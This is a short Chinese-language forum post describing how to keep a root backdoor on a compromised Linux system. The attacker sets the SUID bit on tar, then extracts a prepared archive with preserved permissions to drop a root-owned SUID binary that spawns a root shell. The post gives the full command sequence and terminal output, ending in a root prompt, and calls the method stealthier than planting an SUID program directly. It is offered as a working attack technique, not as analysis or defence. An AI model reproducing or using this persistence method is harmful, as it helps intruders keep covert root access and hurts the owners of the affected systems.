利用设置tar的suid来获取root

[复制链接]
查看317 | 回复0 | 2012-4-1 19:23:20 | 显示全部楼层 |阅读模式
首先申明,这并不是一个linuxtar漏洞,只是在获取linuxroot后通过tar留的一个后门,在一个正常的linux系统中tar被添加上了suid并不会太多的引人注目。整个执行过程如下
host:~#useraddtest

host:~#sutest

host:/tmp$tarxvpfroot.tar

tar_root/

tar_root/2

tar:tar_root/2:times*p2010-11-1104:04:34is77742.715113sinthefuture

tar_root/3

tar:tar_root/3:times*p2010-11-1104:04:38is77746.714984sinthefuture

tar_root/1

tar:tar_root/1:times*p2010-11-1104:04:32is77740.714952sinthefuture

tar_root/sb

tar:tar_root/suid:times*p2010-11-1106:02:47is84835.71489sinthefuture

tar:tar_root:times*p2010-11-1106:20:08is85876.714862sinthefuture

host:/tmp$ls-altar_root

total16

drwxrwxr-x2testtest4096Nov112010.

drwxrwxrwt5rootroot4096Nov1006:28..

-rw-rw-r--1testtest0Nov1120101

-rw-rw-r--1testtest0Nov1120102

-rw-rw-r--1testtest0Nov1120103

-rwsrwxr-x1rootroot5017Nov112010suid

host:/tmp$./suidberoot

host:/tmp#
以上的suid之前我们已经提到过了,这里就不重复说这个程序了,因为tar参数p是解压时保留原属性,所以在其他主机上打包suid后tar文件并没有消失suid和root所有者,如此我们只需要在获取root后为tar加上suid即可在下次进入时简单获取root,相对直接放入一个suid程序来说这样更加的“安全”吧!
 
*
*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则